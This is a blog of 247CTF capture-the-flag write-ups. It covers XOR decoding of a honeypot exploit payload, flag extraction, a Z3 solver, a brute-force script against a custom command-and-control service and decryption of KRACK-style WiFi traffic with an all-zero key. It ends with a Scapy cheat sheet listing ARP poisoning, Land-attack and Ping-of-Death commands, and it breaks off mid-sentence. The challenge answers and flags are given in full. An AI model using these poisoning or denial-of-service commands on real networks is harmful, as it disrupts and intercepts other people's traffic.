Hello Navi

Tech, Security & Personal Notes

We have a honey pot running on one of our internal networks. We received an alert today that the machine was compromised, but we can’t figure out what the attacker did. Can you find the flag hidden in the attacker's payload?

我们在内部网络中运行了一个蜜罐。今天我们收到警报,显示该机器已被入侵,但我们无法确定攻击者做了什么。你能找到隐藏在攻击者有效载荷中的 flag 吗?

Network Traffic

The provided logs show SMB (Server Message Block) traffic on port 445 (microsoft_ds). The sequence of SMBNegotiate_Request and SMB2_Negotiate_Protocol_Request suggests an attempt to exploit an SMB vulnerability.

1
2
3
4
0001 Ether / IP / TCP 192.168.10.168:microsoft_ds > 10.0.5.15:42799 SA / Padding
0003 Ether / IP / TCP 10.0.5.15:42799 > 192.168.10.168:microsoft_ds PA / NBTSession / SMB_Header / SMBNegotiate_Request
...
0203 Ether / IP / TCP 10.0.5.15:43947 > 192.168.10.168:microsoft_ds PA / NBTSession / SMB2_Header / SMB2_Negotiate_Protocol_Request / Raw

Payload Extraction

Following the TCP stream and exporting the raw data with Wireshark, we get the following hex dump:

1
2
3
4
5
6
7
8
9
10
❯ xxd a.raw
...
00000270: 0031 c941 e201 c3b9 8200 00c0 0f32 48bb .1.A........2H..
00000280: f80f d0ff ffff ffff 8953 0489 0348 8d05 .........S...H..
00000290: 0a00 0000 4889 c248 c1ea 200f 30c3 0f01 ....H..H.. .0...
000002a0: f865 4889 2425 1000 0000 6548 8b24 25a8 .eH.$%....eH.$%.
...
000007c0: 4d55 9dce ebc1 2620 2357 4052 6f23 7627 MU....& #W@Ro#v'
000007d0: 2226 2277 7027 2122 232c 2075 2523 752d "&"wp'!"#, u%#u-
...

The challenge name "Commutative Payload" hints at a commutative operation like XOR used for obfuscation.

Solution

  1. Extract Data: Save the raw payload from the Wireshark TCP stream.
  2. CyberChef Analysis:
    • Use the XOR Brute Force operation.
    • Sample length: 10000.
    • Crib: 247CTF (knowing the flag format).
  3. Identification: When testing a key length of 2, the key 14 14 (effectively a 1-byte XOR with 0x14) decrypts the payload to reveal the flag.

Flag

247CTF{7b3626cd356784a17a9e49447356f229}

The More The Merrier

One byte is great. But what if you need more? Can you find the flag hidden in this binary?

Analysis

The challenge provides a 64-bit ELF executable. Checking its details:

1
2
❯ file the_more_the_merrier
the_more_the_merrier: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0f750d638337391328fa7432dd362189de908c1e, stripped

Upon inspecting the binary's data section or its hex dump, we find the 247CTF flag hidden in the binary:

1
2
3
4
5
6
7
8
9
10
11
00000000000006E0  01 00 02 00 00 00 00 00  32 00 00 00 34 00 00 00  ........2...4...
00000000000006F0 37 00 00 00 43 00 00 00 54 00 00 00 46 00 00 00 7...C...T...F...
0000000000000700 7B 00 00 00 36 00 00 00 64 00 00 00 66 00 00 00 {...6...d...f...
0000000000000710 32 00 00 00 31 00 00 00 35 00 00 00 65 00 00 00 2...1...5...e...
0000000000000720 62 00 00 00 33 00 00 00 63 00 00 00 63 00 00 00 b...3...c...c...
0000000000000730 37 00 00 00 33 00 00 00 34 00 00 00 30 00 00 00 7...3...4...0...
0000000000000740 37 00 00 00 32 00 00 00 36 00 00 00 37 00 00 00 7...2...6...7...
0000000000000750 30 00 00 00 33 00 00 00 31 00 00 00 61 00 00 00 0...3...1...a...
0000000000000760 31 00 00 00 35 00 00 00 62 00 00 00 30 00 00 00 1...5...b...0...
0000000000000770 61 00 00 00 62 00 00 00 33 00 00 00 36 00 00 00 a...b...3...6...
0000000000000780 63 00 00 00 7D 00 00 00 00 00 00 00 4E 6F 74 68 c...}.......Noth

Solution

Each character of the flag is stored as a 4-byte little-endian integer. For example: - 32 00 00 00 -> 0x32 -> '2' - 34 00 00 00 -> 0x34 -> '4' - 37 00 00 00 -> 0x37 -> '7' - 43 00 00 00 -> 0x43 -> 'C'

We can extract the flag by reading the first byte of each 4-byte chunk.

Flag

247CTF{6df215eb3cc73407267031a15b0ab36c}

Reverse the lock validation logic and recover the 40-character flag.

Challenge

The page verifies a candidate flag client-side with a long chain of arithmetic and bitwise constraints.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
...
checkFlag(flag) {
let result = "LOCKED";
this.dom.lock.classList.remove("verified");
if (
Object.keys(flag).length == 40 &&
(flag[37] - flag[37]) * flag[15] == 0 &&
(flag[3] + flag[31]) ^ (flag[29] + flag[8] == 234) &&

// Constraint Satisfaction

) {
result = "";
for (var idx in flag) {
result += String.fromCharCode(flag[idx]);
}
this.dom.lock.classList.add("verified");
}
return result;
}

...
</script>

Approach

  • Extract all if (...) constraints from the JavaScript checker.
  • Model each flag[i] as an ASCII character in Z3 (32..126).
  • Convert JavaScript-style constraint expressions into valid Python/Z3 expressions.
  • Solve and rebuild the flag string from the model.

Solver Script (Z3)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#!/usr/bin/env python3
import re

from z3 import BitVec, Solver, sat

raw_js = """
(flag[37] - flag[37]) * flag[15] == 0 &&
(flag[3] + flag[31]) ^ (flag[29] + flag[8] == 234) &&
(flag[32] - flag[12]) * flag[9] == -2332 &&
(flag[24] - flag[27] + flag[13]) ^ (flag[6] == 114) &&
(flag[38] - flag[15]) * flag[33] == 800 &&
(flag[34] - flag[21]) * flag[26] == 98 &&
(flag[29] + flag[0]) ^ (flag[8] + flag[38] == 248) &&
(flag[21] * flag[18]) ^ (flag[7] - flag[15] == 2694) &&
(flag[28] * flag[23]) ^ (flag[19] - flag[5] == -9813) &&
(flag[34] + flag[30]) ^ (flag[37] + flag[6] == 72) &&
(flag[23] - flag[22]) * flag[12] == 4950 &&
(flag[9] * flag[28]) ^ (flag[20] - flag[11] == 5143) &&
(flag[2] * flag[22]) ^ (flag[37] - flag[0] == 2759) &&
(flag[26] - flag[12]) * flag[3] == -3350 &&
(flag[35] * flag[0]) ^ (flag[23] - flag[21] == 2698) &&
(flag[20] + flag[31]) ^ (flag[5] + flag[10] == 22) &&
(flag[31] * flag[19]) ^ (flag[1] - flag[2] == -2655) &&
(flag[38] - flag[14]) * flag[18] == 55 &&
(flag[29] - flag[19] + flag[10]) ^ (flag[2] == 93) &&
(flag[13] - flag[25] + flag[30]) ^ (flag[29] == 13) &&
(flag[35] + flag[33]) ^ (flag[26] + flag[21] == 249) &&
(flag[17] + flag[24]) ^ (flag[34] + flag[1] == 253) &&
(flag[32] - flag[35] + flag[19]) ^ (flag[1] == 0) &&
(flag[22] - flag[11] + flag[3]) ^ (flag[31] == 113) &&
(flag[19] - flag[0]) * flag[13] == 108 &&
(flag[19] - flag[17]) * flag[14] == -2475 &&
(flag[31] - flag[35] + flag[16]) ^ (flag[19] == 84) &&
(flag[24] * flag[27]) ^ (flag[35] - flag[17] == -5792) &&
(flag[11] * flag[35]) ^ (flag[15] - flag[28] == -2845) &&
(flag[18] - flag[19] + flag[31]) ^ (flag[5] == 112) &&
(flag[20] - flag[6]) * flag[10] == -3933 &&
(flag[39] - flag[33]) * flag[6] == 3075 &&
(flag[22] + flag[1]) ^ (flag[39] + flag[14] == 211) &&
(flag[37] * flag[24]) ^ (flag[12] - flag[39] == -5726) &&
(flag[29] + flag[3]) ^ (flag[8] + flag[11] == 195) &&
(flag[26] * flag[7]) ^ (flag[10] - flag[17] == -2375) &&
(flag[11] - flag[12]) * flag[12] == -4653 &&
(flag[13] * flag[5]) ^ (flag[12] - flag[25] == 3829) &&
(flag[24] * flag[0]) ^ (flag[13] - flag[23] == -2829) &&
(flag[17] + flag[12]) ^ (flag[8] + flag[14] == 170) &&
(flag[38] + flag[23]) ^ (flag[11] + flag[1] == 245) &&
(flag[22] + flag[5]) ^ (flag[21] + flag[24] == 19) &&
(flag[35] - flag[8] + flag[21]) ^ (flag[30] == 85) &&
(flag[18] - flag[31] + flag[28]) ^ (flag[29] == 0) &&
(flag[30] * flag[35]) ^ (flag[27] - flag[29] == 5501) &&
(flag[8] - flag[30] + flag[16]) ^ (flag[36] == 81) &&
(flag[13] * flag[18]) ^ (flag[35] - flag[38] == -2971) &&
(flag[27] - flag[14]) * flag[39] == 5875 &&
(flag[34] - flag[33]) * flag[6] == -6027 &&
(flag[38] * flag[1]) ^ (flag[20] - flag[10] == -2915) &&
(flag[1] - flag[1]) * flag[3] == 0 &&
(flag[36] - flag[20]) * flag[8] == 2640 &&
(flag[23] - flag[11] + flag[17]) ^ (flag[33] == 246) &&
(flag[13] - flag[38]) * flag[0] == -100 &&
(flag[28] - flag[14]) * flag[31] == 2142 &&
(flag[26] + flag[15]) ^ (flag[13] + flag[31] == 8) &&
(flag[36] - flag[15]) * flag[17] == 5238 &&
(flag[16] - flag[30]) * flag[33] == 0 &&
(flag[2] - flag[20] + flag[13]) ^ (flag[6] == 76) &&
(flag[10] - flag[14] + flag[31]) ^ (flag[13] == 3) &&
(flag[0] * flag[10]) ^ (flag[14] - flag[31] == 2854) &&
(flag[28] - flag[34] + flag[14]) ^ (flag[14] == 82) &&
(flag[28] - flag[25]) * flag[1] == 2444 &&
(flag[34] - flag[12]) * flag[25] == -2400 &&
(flag[28] * flag[38]) ^ (flag[17] - flag[4] == 5429) &&
(flag[21] - flag[21] + flag[26]) ^ (flag[23] == 84) &&
(flag[9] - flag[4] + flag[18]) ^ (flag[35] == 47) &&
(flag[28] - flag[21] + flag[1]) ^ (flag[33] == 0) &&
(flag[24] - flag[25] + flag[22]) ^ (flag[0] == 8) &&
(flag[28] - flag[25]) * flag[12] == 4653 &&
(flag[1] * flag[15]) ^ (flag[10] - flag[8] == 2498) &&
(flag[5] * flag[7]) ^ (flag[15] - flag[34] == -3429) &&
(flag[8] * flag[3]) ^ (flag[23] - flag[22] == 3671) &&
(flag[25] - flag[33]) * flag[11] == -2600 &&
(flag[21] + flag[12]) ^ (flag[37] + flag[28] == 81) &&
(flag[30] + flag[33]) ^ (flag[34] + flag[14] == 162) &&
(flag[6] - flag[25]) * flag[8] == 4015 &&
(flag[24] - flag[7] + flag[12]) ^ (flag[7] == 90) &&
(flag[18] * flag[12]) ^ (flag[8] - flag[4] == -5466) &&
(flag[32] * flag[7]) ^ (flag[32] - flag[27] == -2730) &&
(flag[32] * flag[34]) ^ (flag[29] - flag[16] == 2804) &&
(flag[25] * flag[22]) ^ (flag[28] - flag[39] == -2542) &&
(flag[8] - flag[15]) * flag[6] == 861 &&
(flag[20] + flag[18]) ^ (flag[25] + flag[36] == 245) &&
(flag[5] - flag[28] + flag[14]) ^ (flag[39] == 97) &&
(flag[30] * flag[11]) ^ (flag[16] - flag[11] == 5216) &&
(flag[11] + flag[18]) ^ (flag[7] + flag[9] == 13) &&
(flag[9] - flag[2]) * flag[30] == -200 &&
(flag[12] + flag[37]) ^ (flag[9] + flag[4] == 78) &&
(flag[10] - flag[37]) * flag[38] == -2408 &&
(flag[5] * flag[19]) ^ (flag[20] - flag[21] == 3645) &&
(flag[27] * flag[29]) ^ (flag[39] - flag[21] == 10354) &&
(flag[15] * flag[32]) ^ (flag[7] - flag[22] == -2642) &&
(flag[1] - flag[3] + flag[24]) ^ (flag[31] == 25) &&
(flag[13] - flag[0]) * flag[30] == 400 &&
(flag[18] - flag[15] + flag[36]) ^ (flag[28] == 12) &&
(flag[34] + flag[21]) ^ (flag[12] + flag[37] == 163) &&
(flag[36] - flag[33]) * flag[14] == 110 &&
(flag[2] - flag[3]) * flag[3] == -804 &&
(flag[35] - flag[27] + flag[22]) ^ (flag[4] == 80) &&
(flag[10] + flag[9]) ^ (flag[17] + flag[2] == 246) &&
(flag[25] * flag[4]) ^ (flag[27] - flag[23] == 4201) &&
(flag[32] * flag[19]) ^ (flag[3] - flag[25] == 2877) &&
(flag[37] - flag[14]) * flag[23] == 4545 &&
(flag[32] + flag[13]) ^ (flag[31] + flag[32] == 7) &&
(flag[11] - flag[25]) * flag[39] == 250 &&
(flag[17] + flag[31]) ^ (flag[6] + flag[9] == 36) &&
(flag[4] + flag[27]) ^ (flag[2] + flag[31] == 208) &&
(flag[6] + flag[7]) ^ (flag[26] + flag[21] == 206) &&
(flag[19] + flag[25]) ^ (flag[22] + flag[10] == 10) &&
(flag[34] + flag[2]) ^ (flag[8] + flag[26] == 2) &&
(flag[7] + flag[5]) ^ (flag[12] + flag[14] == 237) &&
(flag[1] - flag[13]) * flag[38] == -112 &&
(flag[0] - flag[19] + flag[16]) ^ (flag[0] == 80) &&
(flag[31] + flag[36]) ^ (flag[3] + flag[2] == 227) &&
(flag[32] - flag[3] + flag[26]) ^ (flag[4] == 113) &&
(flag[3] * flag[6]) ^ (flag[16] - flag[27] == -8241) &&
(flag[24] + flag[15]) ^ (flag[2] + flag[30] == 242) &&
(flag[11] + flag[21]) ^ (flag[31] + flag[20] == 12) &&
(flag[9] - flag[26] + flag[23]) ^ (flag[30] == 13)
"""
s = Solver()

flag = [BitVec(f"flag[{i}]", 32) for i in range(40)]

for i in range(40):
s.add(flag[i] >= 32, flag[i] <= 126)

for line in raw_js.strip().split("&&"):
line = line.strip()
if not line:
continue

# Convert: A ^ (B == N) -> (A ^ B) == N
if "^" in line:
line = re.sub(r"(.*)\^\s*\((.*)\s*==\s*(-?\d+)\)", r"(\1 ^ (\2)) == \3", line)

s.add(eval(line))

if s.check() == sat:
m = s.model()
result = "".join([chr(m[flag[i]].as_long()) for i in range(40)])
print(f"\n[+] Result: {result}")
else:
print("\n[-] Unsatisfiable.")

Notes

  • ^ in JavaScript is bitwise XOR (not exponent), so constraints must be modeled as XOR equations.
  • 32-bit BitVec variables are used to match JavaScript bitwise operation behavior.

Flag

247CTF{17594c670da74613e921faed37d37fd8}

We are working on our own custom command and control protocol. Can you identify any hidden features in the service? We also included a packet capture of some old sessions so you can learn how it works.

我们正在开发自己的自定义命令与控制协议。您能发现该服务中有哪些隐藏功能吗?我们还提供了一些旧会话的数据包捕获文件,以便您了解其工作原理。

PCAP Investigation with Scapy

The first step was to examine the provided packet capture (custom_protocol_log.pcap) to understand the communication pattern. I used scapy to extract and decode raw data from the TCP streams.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import TCP

PCAP_FILE = "custom_protocol_log.pcap"

def print_hex(pcap_path):
packets = rdpcap(pcap_path)
for pkt in packets:
if TCP in pkt and pkt.haslayer(Raw):
raw = pkt[Raw].load
try:
# Attempt to decode or print as hex
print(raw.hex())
except Exception as e:
print(f"[-] Error: {e}")

if __name__ == "__main__":
print_hex(PCAP_FILE)

Protocol Reversal

By analyzing the hex data from the traffic between 172.17.0.1 and 172.17.0.2, a clear pattern emerged:

1
2
3
b925afc1 00 31 00 30 00 323430323435313235
b925afc1 00 32 00 30 00 323032383630353038
b925afc1 00 33 00 32 00 33383232383038323633

The protocol structure appears to be: [Session ID] [Null] [Counter] [Null] [Command] [Null] [Checksum]

  • Session ID: A 4-byte identifier (e.g., b925afc1).
  • Counter: Increments with each request.
  • Command: Hex-encoded numbers (e.g., 30 for 0, 31 for 1, 32 for 2).
  • Checksum: A CRC32 calculation of the preceding bytes, where the result is converted to a decimal string and then hex-encoded.

Checksum Verification

Using Python to verify the CRC32 logic:

1
2
3
4
5
6
7
8
9
10
11
12
import zlib

def calc_custom_crc_hex(hex_data: str) -> str:
data_bytes = bytes.fromhex(hex_data)
crc_val = zlib.crc32(data_bytes)
# Convert CRC32 integer to decimal string, then hex-encode that string
return str(crc_val).encode().hex()

base_hex = "b925afc100310030"
print(f"Payload: {base_hex}")
print(f"Custom CRC Hex: {calc_custom_crc_hex(base_hex)}")
# Output: 323430323435313235 (Matches the PCAP!)

Solution

Exploit Script

I developed a brute-force script using pwntools to iterate through potential commands (0-14) and find the one that triggers the flag response.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python3
import zlib
from pwn import *

HOST = "35f9359cc67c7983.247ctf.com"
PORT = 50385
context.log_level = "info"

def calc_custom_crc_hex(hex_data: str) -> str:
data_bytes = bytes.fromhex(hex_data)
crc_val = zlib.crc32(data_bytes)
return str(crc_val).encode().hex()

def solve():
sep = "00"
counter = "31"
# Commands 0-14 in hex format
commands = [f"3{hex(i)[2:]}" for i in range(15)]

for cmd in commands:
try:
conn = remote(HOST, PORT, timeout=5)
# Receive Session ID
session_id = conn.recvline(drop=True).decode(errors="replace")
log.info(f"Session ID: {session_id} | Testing Command: {cmd}")

# Construct payload: [SessionID][00][Counter][00][Command][00][Checksum]
base_hex = f"{session_id}{sep}{counter}{sep}{cmd}"
crc_hex = calc_custom_crc_hex(base_hex)
payload = f"{base_hex}{sep}{crc_hex}"

conn.sendline(payload.encode())

raw_response = conn.recvall(timeout=3).decode(errors="replace")
try:
# Server returns hex-encoded response
decoded_response = bytes.fromhex(raw_response).decode(errors="replace")
if "247CTF" in decoded_response:
log.success(f"Flag found: {decoded_response}")
conn.close()
return
except ValueError:
log.warning(f"Failed to decode hex response: {raw_response}")
print("-" * 40)

if __name__ == "__main__":
solve()

Execution Output

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
[*] Starting brute-force with commands: ['30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '3a', '3b', '3c', '3d', '3e']
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: 9b2832a1
[+] Receiving all data: Done (54B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: (2\x001\x00notroot
\x003738085711
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: 3907e672
[+] Receiving all data: Done (152B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: 9\x07r\x001\x00uid=1000(notroot) gid=1000(notroot) groups=1000(notroot)
\x003051696603
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: edd0a465
[+] Receiving all data: Done (96B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: Фe\x001\x00Sun Mar 1 06:57:51 UTC 2026
\x003480231763
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: 705136bc
[+] Receiving all data: Done (446B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: pQ6\x001\x00 total used free shared buff/cache available
Mem: 7973384 1587756 3913000 2636 2472628 6135804
Swap: 2097148 0 2097148
\x002165499562
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: d0f8fe01
[+] Receiving all data: Done (118B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: \x01\x001\x00247CTF{e5df2a6497c8733e8dc4679d856591af}\x001655731160
[+] Flag found: \x01\x001\x00247CTF{e5df2a6497c8733e8dc4679d856591af}\x001655731160
[*] Connection closed.

[Process exited 0]

Flag

247CTF{e5df2a6497c8733e8dc4679d856591af}

Our WiFi keeps disconnecting. We captured wireless traffic to try and figure out what’s happening, but it’s all temporal zeros to us! I think someone is trying to exploit a WiFi vulnerability.. Can you decrypt the traffic and gain access to the flag?

The hint "temporal zeros" and the context of a WiFi vulnerability strongly suggest the KRACK (Key Reinstallation Attack), specifically CVE-2017-13077.

Vulnerability Analysis: Why "Zeros"?

In a standard WPA2 4-way handshake, the client and AP negotiate a PTK (Pairwise Transient Key). KRACK works by intercepting and replaying Message 3 of the handshake, forcing the client to reinstall an already in-use key. This resets nonces (packet numbers) and replay counters.

For certain versions of wpa_supplicant (notably 2.4 and 2.5), a critical implementation bug exists: when the key is reinstalled, the Temporal Key (TK) is not just reused, but cleared to all zeros.

The captured 802.11 CCMP packets are encrypted using a 16-byte key of \x00 values.

The WPA2 4-way Handshake & PTK

  1. Message 1: AP sends a random number (ANonce) to the Client.
  2. Message 2: Client generates its own random number (SNonce), derives the PTK using both Nonces, and sends SNonce to the AP.
  3. Message 3: AP derives the same PTK, sends the Group Temporal Key (GTK), and instructs the Client to install the PTK.
  4. Message 4: Client confirms installation with an ACK.

The KRACK attack manipulates Message 3 to trigger the "all-zero" TK bug.

Decryption Methods

Method 1: Wireshark GUI

If you prefer a visual approach, you can configure Wireshark to decrypt the traffic using the zeroed key:

  1. Open Preferences (Ctrl + Shift + P).
  2. Go to Protocols -> IEEE 802.11.
  3. Check "Enable decryption".
  4. Click "Edit..." next to Decryption keys.
  5. Add a new key:
    • Key type: tk
    • Key: 00000000000000000000000000000000 (32 zeros)

Method 2: Scapy Script (CLI)

The following script manually reconstructs the CCM Nonce and decrypts the packets using the zeroed Temporal Key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import binascii
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from scapy.all import rdpcap
from scapy.layers.dot11 import Dot11, Dot11CCMP, Dot11QoS

PCAP_FILE = "/home/kita/Downloads/00ps.pcap"

def crack_temporal_zeros(pcap_file):
print(f"[*] Parsing {pcap_file}...")
try:
packets = rdpcap(pcap_file)
except Exception as e:
print(f"[!] File error: {e}")
return

# CVE-2017-13077 (KRACK): The bug forces the TK (Temporal Key) to all zeros.
tk_all_zeros = b"\x00" * 16

for idx, pkt in enumerate(packets):
if not pkt.haslayer(Dot11CCMP):
continue

ccmp = pkt[Dot11CCMP]

# 1. Extract Packet Number (PN), 6 bytes
pn = bytes([ccmp.PN5, ccmp.PN4, ccmp.PN3, ccmp.PN2, ccmp.PN1, ccmp.PN0])

# 2. Extract Transmitter Address (A2), 6 bytes
try:
mac_a2 = binascii.unhexlify(pkt[Dot11].addr2.replace(":", ""))
except AttributeError:
continue

# 3. Extract QoS Priority (TID)
priority = b"\x00"
if pkt.haslayer(Dot11QoS):
tid = pkt[Dot11QoS].TID & 0x0F
priority = bytes([tid])

# 4. Construct 13-byte CCM Nonce
# Nonce = Priority (1 byte) + MAC A2 (6 bytes) + PN (6 bytes)
nonce = priority + mac_a2 + pn

# 5. Assemble CTR Initial Vector (16 bytes)
# Flags (0x01) + Nonce (13 bytes) + Counter (0x0001)
iv = b"\x01" + nonce + b"\x00\x01"

# 6. Decrypt using AES-CTR (Bypassing MIC check for speed/simplicity)
cipher = Cipher(
algorithms.AES(tk_all_zeros), modes.CTR(iv), backend=default_backend()
)
decryptor = cipher.decryptor()

raw_data = ccmp.data
if len(raw_data) <= 8:
continue

ciphertext = raw_data[:-8] # Last 8 bytes are the MIC
plaintext = decryptor.update(ciphertext) + decryptor.finalize()

try:
decoded_text = plaintext.decode("utf-8", errors="ignore")
if "247CTF" in decoded_text.upper():
print(f"\n[+] Flag found in packet #{idx + 1}:")
print(f" Plaintext: {decoded_text}\n")
break
except Exception:
pass

if __name__ == "__main__":
crack_temporal_zeros(PCAP_FILE)

Flag

247CTF{5e19fbdfa7072d568a28dd47b0edd379}

1. TCP Control Flags

Flag Name Function Use Case
SYN Synchronize Establishes connection / Syncs sequence numbers 3-way handshake start
ACK Acknowledge Confirms receipt of data/packets Connection maintenance
FIN Finish Graceful connection termination Closing session
RST Reset Immediate, forced connection termination Error handling / Port closed
PSH Push Forces data to application layer immediately Interactive sessions (SSH)
URG Urgent Marks data as priority Out-of-band data

[!INFO] Practical Insight: PSH vs. Buffering

  • Kernel Mechanism: Linux typically buffers data to optimize throughput.
  • PSH Action: Overrides buffer logic. In CTF/Traffic analysis, frequent PSH flags often indicate real-time command execution (e.g., Reverse Shell traffic).

2. Scapy Layer & Field Reference

IP Layer (IP)

  • src / dst: Source and Destination IP addresses.
  • proto: Protocol number (TCP: 6, UDP: 17, ICMP: 1).
  • ttl: Time to Live (hops).

Transport Layer (TCP / UDP)

  • sport / dport: Source and Destination ports.
  • flags: TCP control bits (e.g., S, SA, RA).
  • seq / ack: Sequence and Acknowledgment numbers (TCP).
  • load: Data payload (Raw or UDP).

Raw Layer (Raw)

The Raw layer contains unparsed binary data.

  • Access: pkt[Raw].load
  • Use: Efficient for binary pattern matching or extracting custom payloads.

3. Probing & Scanning Recipes

Host Discovery (Ping)

1
2
3
4
5
6
7
8
# ARP Ping (Local Network)
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"), timeout=2)

# TCP SYN Ping (Bypass ICMP filters)
ans, unans = sr(IP(dst="192.168.1.0/24")/TCP(dport=80, flags="S"))

# UDP Ping (Relies on ICMP Port Unreachable)
ans, unans = sr(IP(dst="192.168.1.*")/UDP(dport=0))

Advanced Port Scanning

1
2
3
4
5
6
7
# ACK Scan (Firewall Rule Detection)
# Response = Port Unfiltered; No Response = Filtered
ans, unans = sr(IP(dst="target")/TCP(dport=[80, 443], flags="A"))

# Xmas Scan (FIN/PSH/URG)
# RST Response = Port Closed; No Response = Open|Filtered
ans, unans = sr(IP(dst="target")/TCP(dport=666, flags="FPU"))

4. Network Security Testing

ARP Cache Poisoning (MitM)

1
2
3
4
5
# Manual ARP Poisoning
send(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client), loop=1, inter=10)

# Scapy Built-in Helper
arp_mitm("target_ip", "gateway_ip")

Protocol Forgery

  • Land Attack: Source and Destination set to target IP.
    1
    send(IP(src=target, dst=target)/TCP(sport=135, dport=135))
  • Ping of Death: Fragmented oversized ICMP packets.
    1
    send(fragment(IP(dst=target)/ICMP()/("X"*60000)))

5. Service Interaction & Sniffing

DNS Queries

1
2
# Query MX Record
ans = sr1(IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="google.com", qtype="MX")))

Advanced Traceroute

1
2
3
4
5
# TCP SYN Traceroute
ans, unans = traceroute("target.com", dport=443, flags="S")

# DNS/UDP Traceroute
ans, unans = traceroute("4.2.2.1", l4=UDP()/DNS(qd=DNSQR(qname="example.com")))

Sniffing

1
2
# Sniff 802.11 Beacon frames (Requires Monitor Mode)
sniff(iface="wlan0mon", prn=lambda x: x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%}"))

6. TLS Forensics: Matching Keys to Traffic

When analyzing encrypted PCAPs, you may need to find which private key (from a collection) matches a certificate found in the traffic.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python3
import glob
import os
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from scapy.all import *
from scapy.layers.tls.all import TLS
from scapy.layers.tls.cert import Cert
from scapy.layers.tls.handshake import TLSCertificate

# Configuration
PCAP_FILE = "encrypted.pcap"
KEYS_DIR = "./keys/"

load_layer("tls")

def extract_certs_from_pcap(pcap_path):
"""Extracts TLS certificates from a PCAP file."""
packets = rdpcap(pcap_path)
cert_list = []

for pkt in packets:
if pkt.haslayer(Raw):
raw = pkt[Raw].load
try:
tls_parsed = TLS(raw)
tls_cert_layer = tls_parsed.getlayer(TLSCertificate)
if tls_cert_layer:
for _, x509_wrapper in tls_cert_layer.certs:
cert_list.append(x509_wrapper)
print(f"[+] Extracted Certificate: {x509_wrapper.subject}")
except Exception:
continue
return cert_list

def get_rsa_modulus(cert_obj):
"""Extracts the RSA modulus from a Scapy Cert object."""
try:
if not isinstance(cert_obj, Cert):
return None
pubkey_bytes = cert_obj.pubKey.der
public_key = serialization.load_der_public_key(pubkey_bytes)

if isinstance(public_key, rsa.RSAPublicKey):
return public_key.public_numbers().n
except Exception as e:
print(f"[-] Error parsing public key: {e}")
return None

def find_matching_key(target_modulus, keys_directory):
"""Finds a PEM private key in a directory matching the given modulus."""
print(f"[*] Searching for matching key in {keys_directory}...")

for key_file in glob.glob(os.path.join(keys_directory, "*")):
try:
with open(key_file, "rb") as f:
private_key = serialization.load_pem_private_key(
f.read(), password=None, backend=default_backend()
)

if isinstance(private_key, rsa.RSAPrivateKey):
priv_modulus = private_key.private_numbers().public_numbers.n
if priv_modulus == target_modulus:
return key_file
except Exception:
continue
return None

if __name__ == "__main__":
certs = extract_certs_from_pcap(PCAP_FILE)
if not certs:
print("[-] No certificates found.")
exit(1)

for cert in certs:
modulus = get_rsa_modulus(cert)
if modulus:
match = find_matching_key(modulus, KEYS_DIR)
if match:
print(f"[!] BINGO! Matching key found: {match}")
break
else:
print("[-] No matching keys found.")

Recover a XOR encryption key used to encrypt a JPG image.

Approach

XOR encryption is vulnerable when the plaintext is partially known:

